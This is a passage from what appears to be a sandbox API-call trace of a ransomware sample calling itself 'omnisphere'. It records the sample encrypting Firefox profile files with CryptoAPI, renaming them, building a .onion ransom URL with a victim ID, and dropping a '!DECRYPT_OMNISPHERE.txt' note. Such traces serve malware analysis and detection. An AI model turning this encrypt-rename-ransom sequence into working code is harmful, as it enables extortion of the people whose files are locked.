szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668460) returned 1 [0155.558] CryptImportKey (in: hProv=0x1668460, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639528) returned 1 [0155.558] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0155.558] CryptDestroyKey (hKey=0x1639528) returned 1 [0155.558] CryptReleaseContext (hProv=0x1668460, dwFlags=0x0) returned 1 [0155.558] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x291, lpName=0x0) returned 0x3c0 [0155.558] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x291) returned 0x1480000 [0155.564] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668240) returned 1 [0155.565] CryptImportKey (in: hProv=0x1668240, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639868) returned 1 [0155.565] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0155.565] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0155.565] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.565] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.565] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.565] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.565] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.565] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.565] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.565] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.565] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.565] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.566] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.566] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.566] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.566] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.566] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.566] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.566] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.566] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.566] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.566] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.566] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.566] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.566] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.566] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.566] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.566] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.566] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.566] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.566] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.566] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.566] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.566] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.566] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.567] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.567] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.567] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.567] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.567] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.567] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.567] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.567] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.567] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.567] CryptDestroyKey (hKey=0x1639868) returned 1 [0155.567] CryptReleaseContext (hProv=0x1668240, dwFlags=0x0) returned 1 [0155.567] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x291, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0155.567] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0155.568] GetProcessHeap () returned 0x1600000 [0155.568] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2de) returned 0x17327e0 [0155.568] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addonStartup.json.lz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\addonstartup.json.lz4"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addonStartup.json.lz4.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\addonstartup.json.lz4.omnisphere")) returned 1 [0155.569] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addonStartup.json.lz4.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addonStartup.json.lz4.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addonStartup.json.lz4.omnisphere.id" [0155.569] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addonStartup.json.lz4.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\addonstartup.json.lz4.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0155.570] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0155.571] CloseHandle (hObject=0x388) returned 1 [0155.571] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0155.571] CloseHandle (hObject=0x3c0) returned 1 [0155.571] SetEndOfFile (hFile=0x288) returned 1 [0155.571] FlushFileBuffers (hFile=0x288) returned 1 [0155.622] CloseHandle (hObject=0x288) returned 1 [0155.622] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addonStartup.json.lz4" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default") returned 1 [0155.622] GetProcessHeap () returned 0x1600000 [0155.622] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1732ac8 [0155.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0155.622] GetProcessHeap () returned 0x1600000 [0155.622] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fd898 [0155.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fd898, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0155.622] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0155.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0155.623] GetProcessHeap () returned 0x1600000 [0155.623] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726b78 [0155.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726b78, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0155.623] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0155.623] GetProcessHeap () returned 0x1600000 [0155.623] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1731c68 [0155.623] PathCombineW (in: pszDest=0x1731c68, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" [0155.623] GetProcessHeap () returned 0x1600000 [0155.623] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1723bf0 [0155.623] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0155.623] WriteFile (in: hFile=0x288, lpBuffer=0x1723bf0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1723bf0*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0155.623] CloseHandle (hObject=0x288) returned 1 [0155.624] GetProcessHeap () returned 0x1600000 [0155.624] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1732ac8 | out: hHeap=0x1600000) returned 1 [0155.624] GetProcessHeap () returned 0x1600000 [0155.624] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c798 [0155.624] PathCombineW (in: pszDest=0x162c798, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" [0155.624] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0155.624] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0155.624] CloseHandle (hObject=0x288) returned 1 [0155.624] GetProcessHeap () returned 0x1600000 [0155.624] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c798 | out: hHeap=0x1600000) returned 1 [0155.624] GetProcessHeap () returned 0x1600000 [0155.624] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1625bd8 | out: hHeap=0x1600000) returned 1 [0155.625] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x143f0f49, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x143f0f49, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb81085d6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcc, cFileName="AlternateServices.txt", cAlternateFileName="ALTERN~1.TXT")) returned 1 [0155.625] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd843d8c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd843d8c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x200a4780, ftLastWriteTime.dwHighDateTime=0x1d31cd6, nFileSizeHigh=0x0, nFileSizeLow=0x44669, dwReserved0=0x0, dwReserved1=0xcc, cFileName="blocklist.xml", cAlternateFileName="BLOCKL~1.XML")) returned 1 [0155.625] GetProcessHeap () returned 0x1600000 [0155.625] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xbe) returned 0x16415f0 [0155.625] PathCombineW (in: pszDest=0x16415f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="blocklist.xml" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml" [0155.625] StrStrW (lpFirst=".omnisphere", lpSrch=".xml") returned 0x0 [0155.625] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\blocklist.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0155.625] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=280169) returned 1 [0155.626] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x44145, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0155.626] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0155.629] GetTickCount () returned 0x1166ae7 [0155.629] GetTickCount () returned 0x1166ae7 [0155.630] GetTickCount () returned 0x1166ae7 [0155.630] GetTickCount () returned 0x1166ae7 [0155.630] GetTickCount () returned 0x1166ae7 [0155.630] GetTickCount () returned 0x1166ae7 [0155.630] GetTickCount () returned 0x1166ae7 [0155.630] GetTickCount () returned 0x1166ae7 [0155.630] GetTickCount () returned 0x1166ae7 [0155.630] GetTickCount () returned 0x1166ae7 [0155.630] GetTickCount () returned 0x1166ae7 [0155.630] GetTickCount () returned 0x1166ae7 [0155.630] GetTickCount () returned 0x1166ae7 [0155.630] GetTickCount () returned 0x1166ae7 [0155.630] GetTickCount () returned 0x1166ae7 [0155.630] GetTickCount () returned 0x1166ae7 [0155.630] GetTickCount () returned 0x1166ae7 [0155.630] GetTickCount () returned 0x1166ae7 [0155.630] GetTickCount () returned 0x1166ae7 [0155.630] GetTickCount () returned 0x1166ae7 [0155.630] GetTickCount () returned 0x1166ae7 [0155.630] GetTickCount () returned 0x1166ae7 [0155.630] GetTickCount () returned 0x1166ae7 [0155.630] GetTickCount () returned 0x1166ae7 [0155.630] GetTickCount () returned 0x1166ae7 [0155.630] GetTickCount () returned 0x1166ae7 [0155.630] GetTickCount () returned 0x1166ae7 [0155.630] GetTickCount () returned 0x1166ae7 [0155.630] GetTickCount () returned 0x1166ae7 [0155.630] GetTickCount () returned 0x1166ae7 [0155.630] GetTickCount () returned 0x1166ae7 [0155.630] GetTickCount () returned 0x1166ae7 [0155.630] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668bd0) returned 1 [0155.631] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639528) returned 1 [0155.631] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0155.631] CryptDestroyKey (hKey=0x1639528) returned 1 [0155.631] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0155.631] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x44669, lpName=0x0) returned 0x3c0 [0155.631] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x44669) returned 0x3c00000 [0155.688] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668e78) returned 1 [0155.689] CryptImportKey (in: hProv=0x1668e78, 